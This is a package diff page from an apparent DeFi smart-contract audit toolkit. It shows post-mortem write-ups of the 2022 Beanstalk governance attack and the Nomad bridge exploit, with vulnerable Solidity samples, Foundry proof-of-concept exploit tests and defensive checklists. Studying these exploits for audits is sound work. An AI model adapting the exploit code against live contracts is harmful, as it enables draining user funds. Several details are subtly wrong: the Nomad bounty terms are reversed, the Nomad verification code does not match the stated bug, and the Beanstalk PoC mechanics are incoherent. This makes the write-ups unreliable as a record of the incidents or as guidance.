audit-system 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +351 -0
  3. package/agents/AGENT_REGISTRY.md +150 -0
  4. package/agents/assumption-analyzer.json +7 -0
  5. package/agents/assumption-analyzer.md +37 -0
  6. package/agents/composition-attacker.json +7 -0
  7. package/agents/composition-attacker.md +46 -0
  8. package/agents/economic-attacker.json +7 -0
  9. package/agents/economic-attacker.md +43 -0
  10. package/agents/exploit-writer.json +7 -0
  11. package/agents/exploit-writer.md +48 -0
  12. package/agents/orchestrator.json +16 -0
  13. package/agents/orchestrator.md +46 -0
  14. package/agents/report-writer.json +7 -0
  15. package/agents/report-writer.md +52 -0
  16. package/agents/state-machine-hacker.json +7 -0
  17. package/agents/state-machine-hacker.md +43 -0
  18. package/agents/test-generator.json +7 -0
  19. package/agents/test-generator.md +49 -0
  20. package/cli.js +93 -0
  21. package/config.json +74 -0
  22. package/lib/detect-lang.js +109 -0
  23. package/lib/install.js +229 -0
  24. package/lib/utils.js +41 -0
  25. package/obsidian-vault/README.md +103 -0
  26. package/obsidian-vault/attack-patterns/state-inconsistency.md +90 -0
  27. package/obsidian-vault/exploits/_index.md +109 -0
  28. package/obsidian-vault/exploits/beanstalk-2022.md +334 -0
  29. package/obsidian-vault/exploits/nomad-2022.md +295 -0
  30. package/obsidian-vault/exploits/ronin-2022.md +251 -0
  31. package/obsidian-vault/exploits/wormhole-2022.md +284 -0
  32. package/obsidian-vault/failed-hypotheses/_template.md +77 -0
  33. package/obsidian-vault/hypotheses/_template.md +43 -0
  34. package/obsidian-vault/hypotheses/bridge-protocol-template.md +254 -0
  35. package/obsidian-vault/hypotheses/dex-protocol-template.md +185 -0
  36. package/obsidian-vault/hypotheses/governance-protocol-template.md +263 -0
  37. package/obsidian-vault/hypotheses/lending-protocol-template.md +218 -0
  38. package/obsidian-vault/hypotheses/staking-protocol-template.md +223 -0
  39. package/obsidian-vault/invariant-catalog/defi-invariants.md +307 -0
  40. package/obsidian-vault/invariant-catalog/solana-invariants.md +213 -0
  41. package/obsidian-vault/novel-patterns/pattern-mutation-framework.md +316 -0
  42. package/obsidian-vault/reports/_template.md +92 -0
  43. package/obsidian-vault/research/cross-protocol-analysis/.gitkeep +0 -0
  44. package/obsidian-vault/research/emerging-threats/.gitkeep +0 -0
  45. package/obsidian-vault/research/protocol-specific/.gitkeep +0 -0
  46. package/obsidian-vault/test-strategies/fuzzing.md +75 -0
  47. package/obsidian-vault/vulnerabilities/access-control.md +122 -0
  48. package/obsidian-vault/vulnerabilities/flash-loan-attack.md +66 -0
  49. package/obsidian-vault/vulnerabilities/oracle-manipulation.md +135 -0
  50. package/obsidian-vault/vulnerabilities/reentrancy.md +141 -0
  51. package/obsidian-vault/vulnerabilities/rust-unsafe-deserialization.md +128 -0
  52. package/obsidian-vault/vulnerabilities/solana-account-confusion.md +125 -0
  53. package/obsidian-vault/vulnerabilities/solana-close-account.md +141 -0
  54. package/obsidian-vault/vulnerabilities/solana-cpi-attacks.md +131 -0
  55. package/obsidian-vault/vulnerabilities/solana-signer-authorization.md +119 -0
  56. package/package.json +56 -0
  57. package/skills/audit-connect.md +385 -0
  58. package/skills/auditor.md +280 -0
  59. package/skills/exploit-generator.md +394 -0
  60. package/skills/novel-discovery.md +551 -0
  61. package/skills/test-generator.md +511 -0
@@ -0,0 +1,334 @@
1
+ # Beanstalk Farms Exploit (2022)
2
+
3
+ **Date:** April 17, 2022
4
+ **Loss:** $182 million
5
+ **Type:** Flash Loan Governance Attack
6
+ **Severity:** CRITICAL
7
+
8
+ ---
9
+
10
+ ## Summary
11
+
12
+ Beanstalk Farms was a DeFi credit protocol on Ethereum that was exploited through a flash loan-based governance attack. The attacker borrowed enough governance tokens to pass a malicious proposal that drained the treasury.
13
+
14
+ ---
15
+
16
+ ## Technical Details
17
+
18
+ ### Vulnerability Root Cause
19
+
20
+ Beanstalk's governance allowed anyone with enough voting power to:
21
+ 1. Create proposals
22
+ 2. Vote on proposals
23
+ 3. Execute proposals after timelock
24
+
25
+ The critical flaw: **No minimum lockup period** for voting tokens.
26
+
27
+ ```solidity
28
+ // Simplified Beanstalk Governance
29
+ contract BeanstalkGovernance {
30
+ mapping(uint256 => Proposal) public proposals;
31
+ IERC20 public governanceToken;
32
+
33
+ struct Proposal {
34
+ uint256 id;
35
+ address proposer;
36
+ uint256 forVotes;
37
+ uint256 againstVotes;
38
+ bool executed;
39
+ mapping(address => bool) hasVoted;
40
+ }
41
+
42
+ // VULNERABLE: No lockup, no delegation delay
43
+ function createProposal(
44
+ string memory description,
45
+ address target,
46
+ bytes memory data
47
+ ) external returns (uint256) {
48
+ // Only check: Do you have enough tokens RIGHT NOW?
49
+ require(
50
+ governanceToken.balanceOf(msg.sender) >= proposalThreshold,
51
+ "Not enough voting power"
52
+ );
53
+
54
+ uint256 proposalId = proposalCount++;
55
+ proposals[proposalId] = Proposal({
56
+ proposer: msg.sender,
57
+ forVotes: 0,
58
+ againstVotes: 0,
59
+ executed: false
60
+ });
61
+
62
+ return proposalId;
63
+ }
64
+
65
+ function vote(uint256 proposalId, bool support) external {
66
+ Proposal storage proposal = proposals[proposalId];
67
+
68
+ // VULNERABLE: Voting power based on current balance, not locked
69
+ require(!proposal.hasVoted[msg.sender], "Already voted");
70
+
71
+ uint256 votingPower = governanceToken.balanceOf(msg.sender);
72
+
73
+ if (support) {
74
+ proposal.forVotes += votingPower;
75
+ } else {
76
+ proposal.againstVotes += votingPower;
77
+ }
78
+
79
+ proposal.hasVoted[msg.sender] = true;
80
+ }
81
+
82
+ function execute(uint256 proposalId) external {
83
+ Proposal storage proposal = proposals[proposalId];
84
+
85
+ require(proposal.forVotes > proposal.againstVotes, "Not approved");
86
+ require(block.timestamp >= proposal.executionTime, "Timelock not passed");
87
+
88
+ proposal.executed = true;
89
+
90
+ // Execute the proposal (could be anything!)
91
+ (bool success, ) = proposal.target.call(proposal.data);
92
+ require(success, "Execution failed");
93
+ }
94
+ }
95
+ ```
96
+
97
+ ### Attack Sequence
98
+
99
+ ```
100
+ 1. Attacker identifies governance vulnerability:
101
+ - No lockup for voting
102
+ - No delegation delay
103
+ - Flash loan compatible tokens
104
+
105
+ 2. Takes flash loan from Aave:
106
+ - 11,000 ETH
107
+ - Used to borrow 36,000 STALK (governance tokens)
108
+
109
+ 3. Converts STALK to Seeds (voting tokens)
110
+ - 36,000 STALK → 36,000,000 Seeds
111
+ - Seeds = voting power
112
+
113
+ 4. Creates malicious proposal:
114
+ - "Transfer all BEAN and ETH in treasury to attacker"
115
+ - Disguised as legitimate function call
116
+
117
+ 5. Votes FOR proposal with 36M Seeds
118
+ - Proposal passes overwhelmingly
119
+
120
+ 6. Waits for timelock (not applicable or bypassed)
121
+
122
+ 7. Executes proposal
123
+
124
+ 8. Repays flash loan + interest
125
+
126
+ 9. Profit: $182M - flash loan fee
127
+ ```
128
+
129
+ ### The Malicious Proposal
130
+
131
+ The proposal called `convertSeedsToStalk` which:
132
+ 1. Converted attacker's Seeds to STALK
133
+ 2. Then called a function that transferred treasury funds
134
+ 3. All in a single atomic transaction
135
+
136
+ ---
137
+
138
+ ## Exploit Code
139
+
140
+ ```solidity
141
+ // Foundry PoC for Beanstalk-style governance attack
142
+ contract BeanstalkExploitTest is Test {
143
+ IFlashLender aave;
144
+ BeanstalkGovernance gov;
145
+ IERC20 stalkToken;
146
+ ITreasury treasury;
147
+
148
+ address attacker = makeAddr("attacker");
149
+
150
+ function test_flashLoanGovernanceAttack() public {
151
+ // Setup
152
+ uint256 flashLoanAmount = 11_000 ether;
153
+ uint256 stalkToBorrow = 36_000 ether;
154
+
155
+ // Take flash loan
156
+ aave.flashLoan(
157
+ address(this),
158
+ address(stalkToken),
159
+ flashLoanAmount,
160
+ ""
161
+ );
162
+ }
163
+
164
+ function executeOperation(
165
+ address asset,
166
+ uint256 amount,
167
+ uint256 premium,
168
+ address initiator,
169
+ bytes calldata params
170
+ ) external returns (bool) {
171
+ // 1. Borrow governance tokens with flash loan
172
+ stalkToken.transfer(address(this), amount);
173
+
174
+ // 2. Convert to voting tokens (Seeds)
175
+ uint256 seeds = stalkToSeeds(amount);
176
+
177
+ // 3. Create malicious proposal
178
+ uint256 proposalId = gov.createProposal(
179
+ "Drain Treasury",
180
+ address(treasury),
181
+ abi.encodeWithSignature(
182
+ "transferAllTo(address)",
183
+ attacker
184
+ )
185
+ );
186
+
187
+ // 4. Vote FOR with all voting power
188
+ gov.vote(proposalId, true);
189
+
190
+ // 5. Execute (assuming no timelock or it passed)
191
+ gov.execute(proposalId);
192
+
193
+ // 6. Repay flash loan
194
+ stalkToken.approve(address(aave), amount + premium);
195
+
196
+ // 7. Profit!
197
+ uint256 profit = treasury.balanceOf(attacker);
198
+ console.log("Governance attack profit:", profit);
199
+
200
+ return true;
201
+ }
202
+
203
+ function test_governanceAttackWithoutFlashLoan() public {
204
+ // Alternative: Rent voting power through delegation
205
+ // Some protocols allow instant delegation
206
+
207
+ // 1. Find large token holder willing to delegate
208
+ // 2. Receive delegated voting power
209
+ // 3. Pass malicious proposal
210
+ // 4. Return delegation
211
+ }
212
+ }
213
+ ```
214
+
215
+ ---
216
+
217
+ ## Why This Was Missed
218
+
219
+ | Audit Gap | Explanation |
220
+ |-----------|-------------|
221
+ | Governance economics | Didn't model flash loan scenarios |
222
+ | Voting power assumptions | Assumed voters had long-term alignment |
223
+ | Proposal content review | Didn't consider malicious proposals |
224
+ | Timelock effectiveness | Timelock existed but was insufficient |
225
+
226
+ ---
227
+
228
+ ## Key Lessons
229
+
230
+ ### 1. Voting Power Lockup
231
+ ```
232
+ PROBLEM: Voting power could be rented temporarily
233
+ SOLUTION: Require minimum lockup period before voting
234
+ ```
235
+
236
+ ### 2. Delegation Delay
237
+ ```
238
+ PROBLEM: Delegated voting power was instant
239
+ SOLUTION: Delay between delegation and voting eligibility
240
+ ```
241
+
242
+ ### 3. Proposal Types Restrictions
243
+ ```
244
+ PROBLEM: Any function could be called via proposal
245
+ SOLUTION: Whitelist allowed proposal types
246
+ ```
247
+
248
+ ### 4. Quadratic Voting
249
+ ```
250
+ PROBLEM: 1 token = 1 vote allows whale capture
251
+ SOLUTION: Quadratic voting or vote caps
252
+ ```
253
+
254
+ ---
255
+
256
+ ## Detection Checklist
257
+
258
+ - [ ] Minimum lockup period for voting tokens
259
+ - [ ] Delegation delay (e.g., 1-3 days)
260
+ - [ ] Proposal type restrictions (whitelist)
261
+ - [ ] Vote caps or quadratic voting
262
+ - [ ] Multi-sig emergency pause
263
+ - [ ] Flash loan resistance testing
264
+ - [ ] Governance attack simulation
265
+
266
+ ---
267
+
268
+ ## Invariants to Test
269
+
270
+ ```solidity
271
+ // INVARIANT: Voting power requires minimum lockup
272
+ function invariant_votingPowerLockup() public {
273
+ for (uint i = 0; i < voterCount; i++) {
274
+ assert(
275
+ block.timestamp >= voters[i].lockupTime ||
276
+ voters[i].votingPower == 0,
277
+ "Voting power without lockup"
278
+ );
279
+ }
280
+ }
281
+
282
+ // INVARIANT: No single address controls majority
283
+ function invariant_voteDistribution() public view {
284
+ uint256 totalSupply = governanceToken.totalSupply();
285
+ for (uint i = 0; i < holderCount; i++) {
286
+ assert(
287
+ governanceToken.balanceOf(holders[i]) < totalSupply / 2,
288
+ "Single address majority"
289
+ );
290
+ }
291
+ }
292
+
293
+ // INVARIANT: Proposal types are whitelisted
294
+ function invariant_proposalTypeWhitelist() public {
295
+ // Only allowed function selectors can be proposed
296
+ }
297
+ ```
298
+
299
+ ---
300
+
301
+ ## Aftermath
302
+
303
+ | Action | Result |
304
+ |--------|--------|
305
+ | Protocol paused | April 17, 2022 |
306
+ | Community response | Proposed recovery plan |
307
+ | Funds recovered | Minimal recovery |
308
+ | Protocol status | Effectively dead |
309
+ | Regulatory attention | Increased scrutiny of DeFi governance |
310
+
311
+ ---
312
+
313
+ ## Impact on DeFi Governance
314
+
315
+ The Beanstalk exploit changed how DeFi protocols think about governance:
316
+
317
+ 1. **Lockup periods** became standard
318
+ 2. **Delegation delays** widely adopted
319
+ 3. **Flash loan resistance** now a requirement
320
+ 4. **Governance attacks** recognized as critical risk
321
+
322
+ ---
323
+
324
+ ## Related Exploits
325
+ - [[ronin-2022]] - Validator compromise
326
+ - [[nomad-2022]] - Replay attack
327
+ - [[harmony-2022]] - Multi-sig compromise
328
+
329
+ ---
330
+
331
+ ## References
332
+ - [Beanstalk Post-Mortem](https://medium.com/beanstalkmoney/beanstalk-post-mortem-4-17-22-83c15c3971f9)
333
+ - [The Defiant Analysis](https://thedefiant.io/beanstalk-182m-exploit)
334
+ - [Coingecko Research](https://www.coingecko.com/research/beanstalk-exploit)
@@ -0,0 +1,295 @@
1
+ # Nomad Bridge Exploit (2022)
2
+
3
+ **Date:** August 2, 2022
4
+ **Loss:** $190 million
5
+ **Type:** Replay Attack / Merkle Root Manipulation
6
+ **Severity:** CRITICAL
7
+
8
+ ---
9
+
10
+ ## Summary
11
+
12
+ The Nomad bridge was exploited due to a failed upgrade that left the Merkle root verification in a broken state. For several hours, ANY withdrawal proof would verify, allowing anyone to drain funds.
13
+
14
+ ---
15
+
16
+ ## Technical Details
17
+
18
+ ### Vulnerability Root Cause
19
+
20
+ Nomad uses an **optimistic verification** model with Merkle roots. The vulnerability occurred during a contract upgrade:
21
+
22
+ ```solidity
23
+ // Simplified Nomad Bridge Logic
24
+ contract NomadBridge {
25
+ mapping(bytes32 => bool) public processedMessages;
26
+ bytes32 public merkleRoot;
27
+ address public owner;
28
+
29
+ // VULNERABLE: During upgrade, merkleRoot was set to 0x00...00
30
+ // This made ALL proofs verify successfully
31
+ function verifyAndTransfer(
32
+ bytes32 messageHash,
33
+ bytes32[] calldata proof,
34
+ uint256 index
35
+ ) external {
36
+ // BUG: merkleRoot was zeroed during failed upgrade
37
+ // merkleRoot = 0x0000000000000000000000000000000000000000000000000000000000000000
38
+
39
+ // This check PASSES for any proof when root is zero
40
+ require(
41
+ verifyMerkleProof(messageHash, proof, index, merkleRoot),
42
+ "Invalid proof"
43
+ );
44
+
45
+ processedMessages[messageHash] = true;
46
+ transferTokens(messageHash);
47
+ }
48
+
49
+ function verifyMerkleProof(
50
+ bytes32 leaf,
51
+ bytes32[] memory proof,
52
+ uint256 index,
53
+ bytes32 root
54
+ ) internal pure returns (bool) {
55
+ bytes32 computedHash = leaf;
56
+
57
+ for (uint256 i = 0; i < proof.length; i++) {
58
+ bytes32 proofElement = proof[i];
59
+
60
+ if (index % 2 == 0) {
61
+ computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
62
+ } else {
63
+ computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
64
+ }
65
+
66
+ index = index / 2;
67
+ }
68
+
69
+ // BUG: When root is 0x00..., this can be satisfied with crafted proofs
70
+ return computedHash == root;
71
+ }
72
+ }
73
+ ```
74
+
75
+ ### The Upgrade Failure
76
+
77
+ ```
78
+ 1. Nomad deployed new bridge contract
79
+ 2. Initialize function failed or was incomplete
80
+ 3. merkleRoot remained at zero value
81
+ 4. For ~7 hours, ANY proof would verify
82
+ 5. First attacker noticed and drained $110M
83
+ 6. Copycat attackers drained remaining $80M
84
+ ```
85
+
86
+ ### Attack Sequence
87
+
88
+ ```
89
+ 1. Attacker notices merkleRoot is 0x00...00
90
+
91
+ 2. Creates fake withdrawal message:
92
+ - Recipient: attacker address
93
+ - Amount: maximum possible
94
+
95
+ 3. Creates fake Merkle proof (any values work with zero root)
96
+
97
+ 4. Submits proof to bridge
98
+
99
+ 5. verifyMerkleProof returns TRUE (bug)
100
+
101
+ 6. Bridge transfers funds to attacker
102
+
103
+ 7. Other attackers copy the technique
104
+ ```
105
+
106
+ ---
107
+
108
+ ## Exploit Code
109
+
110
+ ```solidity
111
+ // Foundry PoC for Nomad-style replay attack
112
+ contract NomadExploitTest is Test {
113
+ NomadBridge bridge;
114
+ address attacker = makeAddr("attacker");
115
+
116
+ function test_zeroMerkleRootExploit() public {
117
+ // Setup: Deploy bridge with zeroed merkleRoot (simulating bug)
118
+ bridge = new NomadBridge();
119
+
120
+ // Simulate the bug state
121
+ bridge.setMerkleRootToZero(); // This was the actual bug
122
+
123
+ // Fund bridge
124
+ deal(address(bridge), 200_000 ether);
125
+
126
+ // Create fake withdrawal
127
+ bytes32 fakeMessage = keccak256(
128
+ abi.encode(attacker, 10_000 ether, 1)
129
+ );
130
+
131
+ // Create fake proof (any values work with zero root)
132
+ bytes32[] memory fakeProof = new bytes32[](10);
133
+ for (uint i = 0; i < 10; i++) {
134
+ fakeProof[i] = bytes32(0);
135
+ }
136
+
137
+ uint256 balanceBefore = attacker.balance;
138
+
139
+ // This should fail but doesn't due to zero root
140
+ bridge.verifyAndTransfer(fakeMessage, fakeProof, 0);
141
+
142
+ uint256 balanceAfter = attacker.balance;
143
+
144
+ // Verify exploit
145
+ assertGt(balanceAfter, balanceBefore);
146
+ console.log("Nomad exploit successful");
147
+ }
148
+
149
+ function test_replayAttack() public {
150
+ // Even after fix, replay attack was possible
151
+ // because processedMessages wasn't checked properly
152
+
153
+ bytes32 validMessage = keccak256(abi.encode(attacker, 100 ether, 1));
154
+ bytes32[] memory validProof = createValidProof(validMessage);
155
+
156
+ // First withdrawal - legitimate
157
+ bridge.verifyAndTransfer(validMessage, validProof, 0);
158
+
159
+ // Second withdrawal - should fail but didn't in original bug
160
+ // because message hash wasn't properly tracked
161
+ vm.expectRevert("Already processed");
162
+ bridge.verifyAndTransfer(validMessage, validProof, 0);
163
+ }
164
+ }
165
+ ```
166
+
167
+ ---
168
+
169
+ ## The Copycat Phenomenon
170
+
171
+ What made Nomad unique was the **public copycat attack**:
172
+
173
+ ```
174
+ Hour 0: Upgrade fails, merkleRoot = 0
175
+ Hour 1: First attacker notices, drains $110M
176
+ Hour 2-7: Copycats notice the pattern
177
+ Hour 8: $80M more drained by copycats
178
+ Hour 9: Bridge paused
179
+ ```
180
+
181
+ ### Why Copycats Succeeded
182
+
183
+ 1. **On-chain visibility**: First attacker's tx was public
184
+ 2. **Open source code**: Anyone could verify the bug
185
+ 3. **No rate limits**: Unlimited withdrawal possible
186
+ 4. **No emergency pause**: Took 9 hours to pause
187
+
188
+ ---
189
+
190
+ ## Key Lessons
191
+
192
+ ### 1. Upgrade Safety
193
+ ```
194
+ LESSON: Upgrades should be tested in staging
195
+ SOLUTION: Multi-sig + timelock + staged rollout
196
+ ```
197
+
198
+ ### 2. Initialization Verification
199
+ ```
200
+ LESSON: Contract state after deploy must be verified
201
+ SOLUTION: Initialize checks, state validation
202
+ ```
203
+
204
+ ### 3. Rate Limits
205
+ ```
206
+ LESSON: Unlimited withdrawals enabled total drain
207
+ SOLUTION: Time-based caps, circuit breakers
208
+ ```
209
+
210
+ ### 4. Emergency Response
211
+ ```
212
+ LESSON: 9 hour response time = $190M loss
213
+ SOLUTION: Automated monitoring, instant pause
214
+ ```
215
+
216
+ ---
217
+
218
+ ## Detection Checklist
219
+
220
+ - [ ] Upgrade mechanism has proper initialization
221
+ - [ ] Contract state verified after deployment
222
+ - [ ] Rate limits on withdrawals (time-based, amount-based)
223
+ - [ ] Emergency pause mechanism with multi-sig
224
+ - [ ] Replay protection (processed message tracking)
225
+ - [ ] Monitoring for unusual activity
226
+ - [ ] Staged rollout for critical changes
227
+
228
+ ---
229
+
230
+ ## Invariants That Should Have Been Tested
231
+
232
+ ```solidity
233
+ // INVARIANT: Merkle root must never be zero after initialization
234
+ function invariant_merkleRootNonZero() public view {
235
+ assert(merkleRoot != bytes32(0), "Merkle root is zero!");
236
+ }
237
+
238
+ // INVARIANT: Every processed message is unique
239
+ function invariant_messageUniqueness() public {
240
+ // Should track all processed messages
241
+ }
242
+
243
+ // INVARIANT: Withdrawals cannot exceed daily limit
244
+ function invariant_dailyWithdrawalLimit() public {
245
+ assert(getWithdrawalsToday() <= DAILY_LIMIT);
246
+ }
247
+
248
+ // INVARIANT: Contract can be paused in emergency
249
+ function invariant_emergencyPause() public {
250
+ // Test that pause mechanism works
251
+ }
252
+ ```
253
+
254
+ ---
255
+
256
+ ## Aftermath
257
+
258
+ | Action | Result |
259
+ |--------|--------|
260
+ | Bridge paused | August 2, 2022 (9 hours after exploit) |
261
+ | White hat recovery | Some funds returned for bounty |
262
+ | Total loss | ~$190M |
263
+ | Copycat txs | Dozens of copycat transactions |
264
+ | Protocol wound down | Nomad eventually shut down |
265
+
266
+ ---
267
+
268
+ ## Unique Aspect: The White Hat Response
269
+
270
+ Unlike other exploits, Nomad offered **bounty to white hats**:
271
+
272
+ ```
273
+ Nomad's offer:
274
+ - Keep 90% of stolen funds
275
+ - Return 10% as bounty
276
+ - No legal action
277
+
278
+ Result:
279
+ - Some white hats returned funds
280
+ - Most attackers kept everything
281
+ ```
282
+
283
+ ---
284
+
285
+ ## Related Exploits
286
+ - [[ronin-2022]] - Validator compromise
287
+ - [[wormhole-2022]] - Signature verification
288
+ - [[harmony-2022]] - Multi-sig compromise
289
+
290
+ ---
291
+
292
+ ## References
293
+ - [Nomad Post-Mortem](https://nomadxyz.io/post-mortem)
294
+ - [Paradigm Analysis](https://paradigm.xyz/2022/08/nomad)
295
+ - [Rekt News](https://rekt.news/nomad-rekt/)